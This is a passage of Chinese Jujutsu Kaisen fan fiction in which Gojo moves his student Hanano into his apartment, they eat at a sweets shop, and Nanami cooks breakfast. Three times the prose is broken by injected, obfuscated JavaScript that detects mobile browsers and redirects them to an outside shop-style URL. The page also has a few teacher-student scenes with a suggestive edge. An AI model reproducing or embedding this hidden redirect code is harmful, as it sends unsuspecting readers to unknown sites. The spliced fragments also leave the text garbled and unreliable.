可怜兮兮的,却又莫名地让人想多看两眼。 “嗯?”花野依被他看得有些疑惑,歪了歪头,“怎么了?” 五条悟又看了她两秒,然后直起腰,发出一声感叹:“哇!你现在简直湿漉漉的!” “额……”花野依被这直白的话语噎住了,一时间不知道该怎么接话。 什么叫湿漉漉的?这种形容也太奇怪了。 还没等她反应过来,五条悟的手就搭上了她的肩膀,不是虚虚地搭着,而是实实在在地搂住。 他的手很大,掌心温热,隔着薄薄的衬衫握住她的右边肩膀,那温度清晰地传过来,比阳光还要烫。 左边肩膀若隐若现地隔着衣服触碰到他的胸口,虽然只是一瞬间,但那种柔软的触感却异常清晰。 好近! 花野依的脑子里只剩下这个念头。 她突然意识到,老师没有打开无下限,不然根本不会让她感觉到他掌心的温度,也不会让她碰到他的胸口。 这么近的距离,她闻到了他身上有一股若有若无的味道——是黄油土豆? 带着一点咸香和黄油的奶香,还混着一点点若有若无的甜味。 她忍不住轻轻吸了吸鼻子,又闻了闻。 嗯……的确是黄油土豆的味道,所以老师刚才去买了这个? 还是说这是他的体香? 不对不对,体香不可能是黄油土豆的味道…… 等等! 她反应过来自己在做什么,耳根瞬间有些发烫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471649|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 像个变态一样。 她还没来得及为自己辩解什么,就被五条悟塞进了后座,动作干脆利落,像是往车里扔一个轻便的行李。 等她回过神来的时候,已经坐在后座上了,车门“砰”地一声关上。 五条悟绕到另一边,坐进了副驾驶。 花野依呆呆地坐在后座,还有些没回过神来。 “你好,花野同学。”驾驶座上传来一个熟悉的声音。 花野依抬头,透过后视镜对上一张带着温和笑容的脸——是伊地知。 他戴着那副熟悉的眼镜,穿着那身熟悉的西装,脸上带着那种熟悉的、有点无奈的笑容。 “你、你好,伊地知先生。” 她连忙回应,努力让自己的声音听起来正常一些。 “伊地知,先不去公寓了。” 五条悟低着头划拉着手机,语气随意,“地址发你了,先去这里。” “好的。” 伊地知应了一声,语气平静得像是早就习惯了五条悟这种想一出是一出的作风,他发动车子,平稳地驶出校门口。 汽车缓缓启动,驶出校门,汇入车流,空调开得很足,冷风从出风口呼呼地吹出来,完全感受不到外面的炎热。 花野依靠在后座上,侧过头看向车窗外。那些熟悉的街道、店铺、行人,一一从眼前掠过,被车速拉成模糊的色块。 她看着那些不断后退的画面,脑海里却不由自主地浮现出之前五条悟说过的话。 那个枯草头的咒灵是冲着她来的。 那些违和感背后藏着什么。 她需要“消失”一段时间。 未知的感觉,真的不太好,她不知道接下来会发生什么,不知道那个咒灵为什么和她相似,不知道自己能不能应付。 她只知道自己不想再给任何人添麻烦,不想再让任何人因为她而受伤。 —— “到了。” 伊地知的声音把花野依从沉思中拉了回来。她透过车窗往外看去,有些愣住了。 那是一家老式的甜品店,门面不大,装修也普普通通,和这条街上其他老店没什么两样。 招牌有些褪色,写着“甘味”两个字,门口还挂着传统的半截布帘,边缘被风吹得起毛边。 透过布帘的缝隙,隐约能看见里面木质的桌椅和暖黄的灯光。 “好了!伊地知你去忙吧,后面没你的事了。” 五条悟说完便打开车门走下车,动作干脆利落。 “好的……”伊地知有些无奈地应了一声。 叩叩 五条悟弯下腰敲响了花野依这边的车窗,他双手搭在嘴边做出喇叭状,隔着玻璃对她喊,嘴唇一张一合的: “快下来!” 看得出他的心情很好,眉眼都弯着,连带着那副墨镜都显得不那么冷淡了。 “好——” 花野依打开车门,离开凉爽的空调,扑面而来的热气瞬间打在她脸上,让她忍不住眯了眯眼。 好热! 明明已经下午了,太阳还是这么烈。 热气从地面蒸腾上来,裹挟着柏油马路的气息和远处飘来的食物香味。 五条悟一脸期待地走过来,推着她的后背往那家老式甜品店走去。 他推得不重,只是轻轻搭着,但那催促的意味很明显。 他的手掌隔着薄薄的衬衫贴着她的后背,温度比外面的热气还要烫。 花野依感受着后背传来的温度,有些不解地回头问:“老师,我们来这里干什么?” “这还用说吗!” 五条悟语气激动,声音里带着掩饰不住的雀跃 “当然是来吃午饭啊!” 花野依的脚步顿了一下。 等等…… 在甜品店吃午饭? 只有老师你这个大甜党才做得出来吧! 27. 第二十七章 一进门,五条悟就十分熟稔地开口点单:“两份大份红豆刨冰,双倍红豆。” 话音刚落,他又走向店里的展示柜,手指在玻璃上点了几下 “这个,这个,这个还有那个,各来三份。” “好的,请稍等。” 前台的店员脸上波澜不惊,语气平静得像是在接待每天都来的老顾客。 看来五条老师是这里的熟客呢。 花野依看着店员那副习以为常的表情,心里默默想着,能让店员对这么大单的点单毫无反应,不知道老师到底来过多少次。 五条悟一边找位置坐下,一边随手把菜单递给花野依,语气里带着几分认真的推荐意味: “这里的双倍红豆刨冰可是限定款呢,我个人强烈推荐哦!” 只有老师你会吃吧…… 花野依在心里默默吐槽,面上却只是礼貌地摇了摇头:“不……谢谢了。” 她低头认真看起菜单,翻了两页,眼睛忽然亮了起来:“嗯?!居然有蛋包饭和汤咖喱!” 她抬起头看向五条悟,眼神里满是不可思议,一家甜品店,居然有正餐? “欸——!” 五条悟双手托腮,歪着头看她,那副墨镜后面的眼睛似乎弯了起来 “毕竟人家是带你来吃午饭的嘛,怎么可能只让你吃甜品。” 花野依看了他一眼,没有接话,转头向着前台店员点餐 “你好,我想要一份蛋包饭,还有小份巧克力刨冰。” 没过多久,蛋包饭被端了上来,金黄色的蛋皮松松软软地盖在炒饭上,番茄酱在上面画出一个笑脸,热气腾腾地往上冒,混着炒饭里洋葱和培根的香气。 花野依拿起勺子,轻轻划开蛋皮,露出下面粒粒分明的炒饭,那股香味更浓了,让她难得地有了些胃口。 对面的五条悟早就开始享用自己的甜品盛宴。 桌上摆满了大大小小的碗碟,刨冰、蕨饼、抹茶蛋糕、红豆年糕汤。 花野依看着那满满一桌,忍不住在心里感叹:老师的胃口真好。 蛋包饭吃了一半的时候,她的巧克力刨冰做好了。 店员把碗放在她面前,花野依看着那个碗,有些犯难。 显然她估计错了份量,这家店意外的实惠,即使是小份的刨冰,碗也比她想象的大得多,堆得高高的刨冰上淋着浓稠的巧克力酱,顶端还放着两颗樱桃和一块奶油。 她拿起勺子尝了一口…… 不妙啊! 只吃这一口她就明白了为什么五条老师会带她来这家老式甜品店。 用料太扎实了,冰磨得细腻,巧克力酱浓郁却不腻,甜度刚刚好,价格便宜,份量还多,味道还超好。 五条老师是怎么找到这种宝藏店铺的? 这下有点麻烦了…… 她看看面前还剩一半的蛋包饭,又看看那碗堆得高高的刨冰,陷入两难。 从味道上来说,刨冰更胜一筹,毕竟是甜品店嘛,但从正餐的角度,蛋包饭更合适一点,可是她吃不下这么多,该选哪个? 嗯……好难选 她盯着面前的两份食物,眉头微微皱起,最后长长地叹了口气。 “怎么了?”五条悟的声音从对面传来。 花野依抬起头,看见五条悟嘴角还粘着一小粒红色的红豆,她指了指自己的嘴角,示意他。 “什么?”五条悟有些不明白,歪了歪头。 “老师,你的嘴角有红豆粒。”花野依轻声说。 五条悟愣了一下,然后表情变得夸张起来 “什么!依,你居然会因为老师的嘴角有红豆粒就叹气!OOC了!人设崩坏了!” “不是这样的,五条老师……” 花野依有些无语地看着他戏精发作,等他闹够了才解释 “我叹气是因为在纠结该吃哪个,蛋包饭还剩一半,刨冰又这么大份,我吃不完。” 五条悟听完,表情忽然一变,一改往日的调皮语气,变得严肃起来。 他双手交叉合十,抵在自己鼻梁上,像某个推理动漫里的角色 “确实,这是一个很恼火的问题呢。” 花野依看着他,等着下文 他语气一转,带着一丝狡黠:“老师这边有个解决办法,你要听吗?” “什么办法?” 五条悟伸手指了指她面前的那碗刨冰:“小依你吃不完的部分可以分给老师吃!” 根本就是你自己想吃吧。 花野依在心里默默吐槽,但还是点了点头,把自己面前那份巧克力刨冰推到桌子中间。 “那老师你直接吃掉吧。” “欸——!”五条悟双手捧脸,做出一副可爱少女的模样,眼睛睁得大大的 “对老师这么好吗?老师好感动!” 花野依已经不想吐槽面前这个装嫩的二十八岁成年人了。 她拿起勺子,继续吃自己的蛋包饭,随口说道:“没关系啦,没有浪费就好了,反正下次来——” 话还没说完,嘴里突然被塞进一个冰凉的东西。 “依,啊——” 好冰! 一大口刨冰被突然塞进嘴里,花野依感觉自己的脑袋都被冻得生疼,太阳穴突突地跳。 她捂着嘴,眼睛因为刺激眯了起来,整张脸皱成一团,耳边响起五条悟愉悦的声音 “耶!剩下的就是我的了!” 这个人!!! 花野依捂着自己被冻得发麻的脑袋,瞪着对面那个已经把刨冰碗拖到自己面前、正大快朵颐的人,再一次对“没有距离感”这个词有了新的认识。 ———— 吃完饭走出店门时,外面的太阳已经没有那么烈了。 傍晚的风轻轻吹过来,带着一点凉意,吹散了白天积攒的暑气。 街道上的行人多了一些,有下班回家的上班族,有拎着菜篮子的主妇,有放学后结伴而行的学生。 “干脆步行去公寓吧,也算是消消食。”五条悟提议道。 花野依看了看天色,又感受了一下迎面吹来的凉风,点了点头答应了。 两人沿着街道慢慢走着,夕阳在他们身后拉出两道长长的影子。 花野依不是那种善于言谈的性格,所以一路上基本都是五条悟在说话。 他几乎想到什么就说什么,一会儿抱怨自己最近的任务有多无聊,遇到的咒灵弱得让人想打哈欠。 一会儿又说起吃午饭之前让伊地知给自己买了黄油土豆,那家店的黄油放得特别足,香得不得了。 花野依一开始还会认真听,时不时点点头嗯一声。 但到后面她发现五条老师说的全都是废话。 那些任务细节她听不懂,那些零食推荐她记不住,那些抱怨和吐槽翻来覆去就是那么几件事,于是她开始开小差了。 野蔷薇现在在干什么呢? 是不是还在和真希前辈一起训练? 伏黑呢?应该也在练习吧。 还有熊猫前辈他们,不知道他们发现自己不在之后会不会问起。 那个枯草头的家伙到底为什么要冲着她来? 那种违和感到底是什么? 接下来会发生什么? 走过一家女装店的时候,花野依的目光被橱窗里的一件裙子吸引住了。 那是一条绿色的长裙,挂在那里,像是一小片被截取的月光。 裙子的颜色很特别,像雨后森林深处苔藓的那种绿,带着一点幽幽的光泽,随着光线的变化会泛起淡淡的金。 裙身是缎面的材质,垂坠感很好,领口开得不深,却刚好露出一小片锁骨的线条。 最动人的是它的剪裁,收腰的地方收得恰到好处,裙摆从腰部开始往下散开,像是流水漫过石头的弧度,又像是晚风拂过草地的样子。 真好看啊! 花野依忍不住多看了两眼,可是这样好看的裙子,买了也没有机会穿吧。 她没有需要穿这种裙子的场合,她只是一个咒术师,一个还在学习怎么活下去的学生,连自己明天会在哪里都不知道的人。 她移开眼,准备继续往前走,却对上了五条悟的墨镜。 她被吓了一跳。 五条悟不知什么时候侧过身,弯着腰凑到她面前,那双被墨镜遮住的眼睛正对着她,距离近得有些过分。 “怎么了嘛,五条老师?”她往后仰了仰,拉开一点距离。 “刚才——!”五条悟有些气鼓鼓地说,腮帮子微微鼓起,“我说的话你完全没有听见吧!” 被抓住开小差的花野依有些不好意思,她不自觉地抬手摸了摸鼻子,指尖碰到鼻尖上微微渗出的细汗 “抱歉,五条老师,刚刚开小差了。” 五条悟看着她,叹了口气,那气鼓鼓的表情收了回去,换成一副无奈的样子:“唉——算了。” 他直起腰,不再纠结这件事,指了指马路对面的一栋建筑:“我们到了。” 花野依顺着他手指的方向看去,那是一栋看起来还挺新的公寓楼。 大概十来层的样子,外墙是浅灰色的,窗户整整齐齐地排列着,在夕阳下反射着暖橙色的光。 五条悟带着她走进大楼,电梯很新,运行起来几乎听不到声音。 到了七楼,门打开,是一条铺着浅灰色地毯的走廊,两侧是一扇扇紧闭的门,很安静,安静得能听到自己的脚步声。 五条悟在最里面的一扇门前停下,输入密码,推开门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471650|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花野依走进去,有些惊讶地打量着四周。 公寓很大,比她在高专的宿舍大得多,客厅里摆着一张灰色的布艺沙发,对面是一台挂在墙上的电视,茶几是玻璃的,擦得很亮。 餐厅和客厅连在一起,一张四人座的餐桌靠墙放着,桌上还摆着一个空的花瓶。 厨房是开放式的,橱柜是白色的,台面上干干净净,什么都没有。 整个公寓看起来很新,家具也很齐全,但总觉得少了点什么。 她走进卧室看了一眼,又退出来,继续打量客厅。 一切都摆得整整齐齐,像是样板间,像是从来没有人住过的地方。 “这是我名下的一处房产。” 五条悟站在玄关门口,双手插在口袋里,语气随意 “怎么样?还合适吧?” 花野依在客厅里转了一圈,又走到窗边往外看了一眼。 视野很好,能看到远处的一片绿地和更远处的楼房。 她回过头,认真地点了点头:“很合适,谢谢五条老师!” 五条悟嘴角微微上扬,伸手指了指左边的一扇门。 “左边那间是你的房间,东西我都让人准备过了,你看看还缺什么。” 他说着,然后看了眼手机 “门口密码是0928,我先走了,你自己收拾一下,有什么事给我打电话。” “好的,老师慢走。” 花野依把他送到门口,看着他走进电梯,对着他的背影挥了挥手。 电梯门合上的时候,她还隐约看见他在里面冲她挥手。 门关上,公寓里一下子安静下来。 花野依站在原地愣了几秒,然后转身走进那个属于自己的房间。 房间不大,一张床,一个衣柜,一张书桌,一把椅子。 床单和被套是白色的,叠得整整齐齐,枕头蓬松地放在床头。 书桌上空空的,只有一盏台灯,衣柜打开,里面挂着几个空衣架,除此之外什么都没有。 像个酒店套房。 花野依站在房间中央,看着这一切,心里涌起一种奇怪的感觉。 有点陌生,有点空。 “噗叽。” 影子波动了一下,噗噗从里面跳出来,落在地上。 它张嘴吐出那个行李箱,然后一摇一摆地走到床边,跳上去,在床上踩了两圈,找了个舒服的位置,趴下来,眼睛慢慢闭上,很快就发出轻轻的呼噜声。 又睡着了。 花野依走过去,帮它盖上一角被子,看着它那张小小的、满足的脸,忍不住笑了笑。 啊,忘记叫老师帮我看看噗噗了。 随即她又摇了摇头,还是算了吧,感觉五条老师也很忙,等他下次有空再说。 她打开行李箱,开始收拾东西,把衣服挂进衣柜,把洗漱用品拿出来放在一边,把笔记本放在书桌上,把充电器放在床头柜上。 一样一样,慢慢地把这个陌生的房间填上自己的东西。 等收拾完,时间已经很晚了,窗外的天色已经暗了下来。 傍晚的余晖彻底沉了下去,取而代之的是城市的灯光,一点一点地亮起来,透过窗户照进来,在地板上投下淡淡的光影。 花野依走到厨房,打开冰箱。 空的。 什么都没有。 她叹了口气,决定先去外面吃点东西,然后去超市买点食材。 这几天可能要在这里住一阵子,总不能每天都吃外卖。 她打开衣柜,拿出浴巾然后走进了浴室。 浴室很大,干湿分离,镜子上还蒙着一层保护膜没撕干净。 花野依把浴巾挂在架子上,正准备打开淋浴,忽然发现了一个问题。 她忘记带沐浴露和洗发水了。 她愣了一下,正准备出去买,目光却被角落里的一排瓶子吸引住了。 那是成套的洗漱用品,洗发水、护发素、沐浴露、洗面奶,整整齐齐地摆在那里,都是同一个牌子——男士专用的那种。 花野依拿起一瓶看了看,又放了回去,男士专用就男士专用吧,总比没有好。 水龙头打开,热水哗哗地流出来,很快浴室里就弥漫起白色的水蒸气。 镜子开始起雾,灯光变得朦胧,水声在密闭的空间里回荡,盖过了外面的一切声音。 花野依站在热水下,闭上眼睛,感受着热水冲刷过皮肤的温度,那些紧绷的、一直绷着的神经,终于在这片水声里慢慢放松下来。 她没有注意到,公寓门口,电子密码锁的按键正在一个一个地被按亮。 嘀——嘀——嘀—— 门锁传来轻微的机械声,然后“咔哒”一声,门被推开了。 28. 第二十八章 就算是作为最强的五条悟,在面对现在这种情况时也会觉得有些尴尬。 在推开门的一瞬间,他清楚地意识到自己的学生正在洗澡,浴室里传来的哗哗水声在安静的公寓里格外清晰,像是什么无声的提醒。 握住门把手的那只手微微停顿了一瞬,五条悟站在门口,进也不是退也不是,最后还是抬脚走进了玄关。 他把手里打包的晚餐轻轻放在玄关柜上,弯下腰换鞋。 这一系列动作都带着一股小心翼翼的感觉,动作很轻,几乎没什么响动。 就连那个塑料袋都被他用无下限托着,轻飘飘地落在柜面上,没有发出一点声音。 有些太过谨慎了。 虽然这么想着,但走进客厅的时候,他的动作依然没有放松。 那条提着晚餐的左手臂一直垂在身侧,紧绷着,一动也不动,像是怕一个不小心就碰倒什么东西似的。 五条悟把晚餐随手放在餐桌上,走到沙发边上坐了下来。 沙发左边就是浴室的门。 特级的耳力让他清楚地听见浴室里淅淅沥沥的水声。 声音在这间安静得过分的公寓里被放大了无数倍,像是直接敲在他耳膜上。 他手肘撑着膝盖,手心托着脸,难得的放空了思绪,目光落在茶几上那个空花瓶上,却没有真正在看它。 有点热。 果然还是不能忽视夏季的尾巴。 他这么想着,伸手拿起茶几上的空调遥控器,把温度调到了最低。 冷风从出风口呼呼地吹出来,带着新空调特有的那股味道,很快就让客厅里的温度降了下来。 浴室里的水声停了。 窸窸窣窣的声音传来,是毛巾摩擦皮肤的声音,是衣服布料摩擦的声音——她在穿衣服。 五条悟的目光落在浴室门上,那双苍蓝色的眼睛在客厅昏暗的灯光下显得有些深。 咔哒 门开了。 水汽从浴室里蔓延出来,带着沐浴露和洗发水的香气,在冷空气中凝成薄薄的雾气。雾气里走出一个人影,然后是一声惊呼: “啊!” 花野依被吓了一跳,往后退了一步,手扶在门框上才稳住身子。 她穿着一套规整的短款睡衣睡裤,浅灰色的棉质布料,领口扣得严严实实,袖口和裤脚都规规矩矩地收着。 刚洗完澡的缘故,平时有些病态苍白的皮肤此刻透着健康的红润,从脸颊一直蔓延到脖颈,再到那截露在外面的小腿。 头发湿漉漉地披散着,发梢还在往下滴水,一滴一滴落在搭在肩膀的毛巾上,洇出一片深色的水渍。 那双眼睛也因为水汽的浸润显得格外水润,睫毛上还挂着细小的水珠,在灯光下闪着细碎的光。 五条悟随意地往后靠着沙发,一只手搭在沙发靠背上,侧过头看她,嘴角微微上扬,语气里带着揶揄: “哈哈,被老师吓到了吧!” 听见他的声音,花野依下意识地向沙发这边看来。 看清那张脸后,她微微蹙起眉头,眉毛拧在一起,水润的眼眸里透出些许疑惑和急促: “五条老师?你为什么会在这里?” “欸——?” 五条悟拖长了语调,像是被这个问题惊到了 “这里是老师的家啦!” “不是这个意思……” 花野依走出浴室,站在沙发的另一端,距离他大概两米远。 她抬手拢了拢湿漉漉的头发,把毛巾重新搭好。 “我是说,为什么老师你会住在这里?” 五条悟收回搭在沙发靠背上的手,做出西子捧心的姿态,一脸受伤的表情 “真是伤心呢!难道小依你不允许老师住在这里吗?” 花野依看着他那副耍宝的赖皮样,眼皮无意识地抽搐了一下。 她已经逐渐习惯了他这种说话方式,知道怎么配合才不会让对话陷入死循环。 她耐心地开口,声音里带着一丝无奈 “不是……这是老师的房子当然可以住。我只是以为老师会住在其他地方。” “嘛,最初是这么想的没错。” 五条悟伸出食指和拇指比在下巴上,自认为做出了一个帅气的姿势 “但是!为了保护我可怜的学生,老师还是选择和你一起住!不要太感动哦!” 花野依已经学会自动过滤他话里的垃圾信息了。 没等他说完,她就自顾自地走到一边,拿起桌上的吹风机插上电,嗡嗡嗡的声音响起来,盖住了客厅里所有的动静。 “喂喂喂!就这么无视老师,老师也是会生气的哦!” 五条悟的声音透过吹风机的噪音传过来,带着几分抱怨 “现在的学生真的是,很有个性呢。不像老师当年,可是很听班主任的话……” 他的抱怨声像是隔着一层膜递到花野依脑海里,嗡嗡嗡的,模糊不清。 她一边吹着头发,一边偷偷看了一眼沙发上的那个人,他还在那里絮絮叨叨,也不知道在说什么。 头发吹得半干的时候,她关了吹风机。 “怎么不吹干?”五条悟的声音在安静下来的客厅里响起。 花野依转过头看向他。 他坐在沙发上,翘着二郎腿,扭过上半身面朝她的方向。 一只手随意地搭在沙发靠背上,另一只手蜷曲着撑在扶手上,好让自己的脑袋能舒服地枕在手臂上。 前额细碎的头发因为重力的缘故向下垂着,有些偏长的碎发落在那双苍蓝的双眸前,让那目光显得有些朦胧,有些模糊。 很别扭的动作。 可是对于一个一米九、手脚都十分修长的人来说,这种动作做出来,像是时尚杂志里的模特一样,让人赏心悦目。 花野依摸了摸微微湿润的发尾,藏在发丝里的耳根有些发烫:“夏天,自然干就好。” “哦。” 五条悟收回注视,扭回身子站起来,走到餐桌前,开始从打包袋里往外拿东西 “过来吃饭吧。” 他一边向花野依招手,一边把口袋里的食物推向她那边,黄油土豆的包装袋被打开,那股熟悉的香味立刻飘散开来。 “好的。” 花野依穿着拖鞋哒哒哒地跑向餐桌,在椅子上坐下,低头看向面前的包装袋。 她愣了一下,抬起头惊讶地看向对面正在吃黄油土豆的五条悟 “欸!是那家甘味店!老师你还真是喜欢呢!” “这家店可是老师我的私藏,我是不会告诉一般人的。” 五条悟嘴里咀嚼着东西,声音黏黏糊糊的,听不太清楚。 花野依选择无视。 她打开面前的包装袋,把里面的甜品一股脑地推到他那边,只留下自己面前的那份汤咖喱。 汤咖喱的味道也很不错,热气腾腾的,咖喱的香气混合着香料的刺激,让空了一下午的胃开始发出满足的信号。 如果不是甜口的话,就更完美了。 空调还在给力地运作着,冷风从出风口呼呼地吹出来,把客厅里的温度维持在一个让人舒适的水平。 花野依坐在风口处,身上那股凌冽的男士香氛味被冷风裹挟着,轻轻递到对面的人面前。 五条悟的鼻尖动了动。 他低头挖黄油土豆的手顿了顿,又很快继续动作。 嗯……如果没猜错的话,应该用的是自己的沐浴露和洗发水吧,他常用的那一套。 虽然不介意给学生用自己的洗漱用品,但是……自己今天早上才洗过澡,自己身上的香味都还有余留。 和自己的学生是同一种味道 很微妙呢……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471651|201513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他微妙地纠结了几秒,又很快翻过篇,不再去想这件事。 吃完饭,花野依十分乖巧地开始收拾桌上的残局。 她把垃圾分类装好,把五条悟没吃完的甜品放进冰箱,把空碗和筷子收进洗碗池。 五条悟则心安理得地享受着自己学生的照顾,靠在椅背上,看着她忙进忙出的身影。 等花野依收拾完一切,擦干净手走回客厅时,五条悟朝她招了招手。 “小依。”他指了指自己旁边的位置,示意她坐下。 花野依走过去,在他指定的位置坐下,两人之间隔着大概半米的距离,她侧过头看他 “还有什么事吗?五条老师。” 五条悟拿出手机划了划,然后递给她。 “明天你跟着神秘人士一起做这个任务,先看一下这个任务吧。” 他的声音在耳边响起,语气漫不经心的,带着刚吃饱后的那种慵懒。 花野依觉得自己的耳根又开始发烫了,他总是这样,说话的时候靠得太近,近到能感觉到他的呼吸。 她接过手机,低头仔细看了起来。 屏幕上是一个人的资料。 里樱高中,吉野顺平,男,十七岁,二年级。照片上是一个看起来普普通通的高中生,黑色的长刘海遮住了他的右半边脸,没什么特别的地方。 往下划,是他的生平介绍,家庭背景,学习成绩,社交情况,还有最近的一些异常行为记录。 “明天需要你假扮转学生潜入这所高中,打探一下这个吉田同学的状况。” 五条悟的声音在旁边响起,语气随意,“他可能看得到咒灵哟。” 花野依从手机里抬起头,看向坐在一边漫不经心的五条悟: “老师……那个神秘人士是谁啊?” 五条悟伸出食指摇了摇,那根手指在她面前晃了晃:“提前知道的话就不叫神秘人士了。” 好吧。 花野依叹了口气,她就知道会是这样。 空调还在呼呼地吹着冷风,她坐在风口处,那股凉意直直地往身上扑,刚洗完澡的热度早就散尽了,取而代之的是冷风带来的寒意。 “阿秋!” 她忍不住打了个喷嚏,整个人抖了抖。 “冷了?” 五条悟正想站起来去关空调,手臂却被轻轻握住了。 花野依没用多大力气,只是轻轻握着他的手臂,往下拽了拽。 隔着那层薄薄的外套,她清晰地感受到他温热的体温,和那条手臂上健硕的肌肉线条。 五条老师居然没有开无下限? 五条悟有些疑惑地看向她:“怎么了?” “不用了老师。” 花野依松开手,站了起来,她的动作有些快,像是要掩饰什么 “我有些困了,没什么事的话我就回房间了。” “行吧,去吧。” 花野依转身走向自己的房间,走了几步又停下来,回头看向还坐在沙发上的那个人: “老师你也早点睡,晚安。” 五条悟靠在沙发上,看着那个穿着短款睡衣、头发还有些微湿的身影站在卧室门口。 那张还带着洗完澡后红晕的脸在昏暗的灯光下显得格外柔和。 他的心情忽然变得很好。 “晚安。” 他听见自己这么说。 卧室门关上了,客厅里只剩下他一个人,空调还在吹着冷风,冰箱发出轻微的嗡嗡声,窗外偶尔传来几声遥远的车鸣。 五条悟坐在有原处,目光落在对面那扇紧闭的门上,过了好一会儿才收回视线。 他轻轻动了动自己的手臂然后站起来,关掉客厅的灯,离开了这栋房子。 客厅陷入黑暗,只有窗外城市的灯光透过窗帘的缝隙洒进来,在地板上投下淡淡的光影。 29. 第二十九章 早上六点半,花野依还在睡梦中就被一阵喧闹声吵醒了。 声音穿透卧室的门,清晰地钻进耳朵里,是五条悟的声音,语调夸张得像是在主持什么综艺节目。 她迷迷糊糊地睁开眼睛,盯着陌生的天花板愣了几秒,才想起自己现在不在高专宿舍,而是在五条老师的公寓里。 花野依揉着眼睛从床上坐起来,头发乱糟糟地披散着,发尾还有些翘边。 她躺在床上听着客厅里持续不断的喧闹声,叹了口气,掀开被子下床。 推开卧室门的时候,五条悟看见她,吵闹的声响更加热烈。 “酱酱!这位就是你这次任务的神秘人士,七!海!健!人!欢迎欢迎!” 五条悟正以一种极其亲密的姿势挽着另一个人,双手抱着那人的手臂,整个人几乎挂在那人身上,还一边拍着巴掌一边发出欢呼声。 一头金黄色的头发梳得整整齐齐,戴着一副造型奇特的眼镜,穿着一身合体的浅灰色西装,蓝色衬衫搭配着波点领带,显得整个人修长有力。 如果忽略他紧紧蹙起的眉毛和额角暴起的青筋,确实是一个十分板正的上班族模样。 是上次医务室的七海先生。 花野依还有些恍惚,困意还没完全从身体里散去。 她站在卧室门口愣了几秒,然后自动过滤了五条悟那不正经的介绍,径直走到那位七海面前,弯下腰认认真真地鞠了一躬。 “你好,七海先生,今天请多关照。” 她的声音因为刚睡醒还有些沙哑,头发披散着有些凌乱,发尾翘起不规则的弧度。 眼睛都还没完全睁开,眼皮微微肿着,俨然一副没睡醒的迷糊样。 但那份乖巧和礼貌却是实打实的,让人一眼就能看出来这是个家教很好的孩子。 七海建人推了推眼镜,伸手把贴在自己身上的五条悟扒下来,理了理被弄皱的西装,然后向着花野依微微弯了弯腰: “你好,花野同学,我是你今天任务的负责人。” 他抬起左手看了一眼手腕上的腕表,时间刚过六点四十,他放下手,低沉严肃的声音传来: “花野同学先去洗漱吧。” 他走向厨房,脚步微微停顿了一瞬,又接着问道: “早餐的话,西式可以接受吧?” 花野依迷迷糊糊地点了点头,耷拉着拖鞋,啪嗒啪嗒地走向浴室。 浴室里的镜子还残留着昨晚洗澡时的水痕,她打开水龙头,用冷水洗了把脸,这才稍微清醒了一点。 她看着镜子里那张还带着睡痕的脸,想起刚才七海先生严肃的表情,心里莫名地有些紧张。 她洗漱完,把头发随便拢了拢,走出浴室的时候,厨房里已经飘出了诱人的香气。 七海建人挽着衬衫袖口,正站在灶台前忙碌。 他先给自己做了一杯黑咖啡,黑褐色的液体从咖啡机里滴落,浓郁的苦香弥漫开来。 然后他开始做早餐,动作熟练得像是在厨房里待了很多年。 “七海海——!” 五条悟悄咪咪地溜到他身后,一副JK少女的语气撒娇道: “人家不想吃西式早餐嘛!” “什么都不做的人没有资格提要求。”七海建人打开灶火热起铁锅,平静地驳回了他。 “欸——!”五条悟十分不满地嘟起嘴抱怨着,“小气的大人!” “五条先生,你已经是一名二十八岁的成年男性了,不要再用这种撒娇的语气说话。” 七海建人切下一块黄油放入铁锅中,黄油的香气立刻在空气中飘散开来,滋滋的声音伴随着焦黄的色泽,让人食欲大开。 他顿了顿,语气里带上了一丝不满: “还有一件事,如果你打算让花野同学长期住在这里的话,有必要补充冰箱里的物资。 而不是早上五点钟敲响我家的门,带着我家冰箱里的食物来给花野同学做早餐。” 五条悟已读不回。 在七海建人抱怨的时候,他已经溜到了客厅,手里拿着昨晚剩下的甜品吃了起来。 七海建人的眉头蹙得更紧了。 “哇!好香啊!” 花野依走到他身后,探出脑袋看向锅里的煎蛋,蛋黄被完美地保留着完整的圆形,蛋白的边缘煎得微微焦黄,看起来就很好吃。 她又看向旁边正在给面包抹果酱的七海建人,眼神亮晶晶地盯着他看: “谢谢你!七海先生!” 七海建人把锅里的煎蛋装盘,放上抹好果酱的面包,递给站在一旁等待早餐的花野依。 “果汁还是牛奶?” “果汁!” 花野依接过餐盘,走到餐桌边坐下。 “七海海!我也要果汁!”吃完甜品的五条悟又开始黏黏糊糊地贴上来。 七海建人无视了扒在自己身后的五条悟,把手里的果汁放在花野依手边: “自己倒。” “讨厌啦!人家想要七海海亲手倒的果汁啦!” 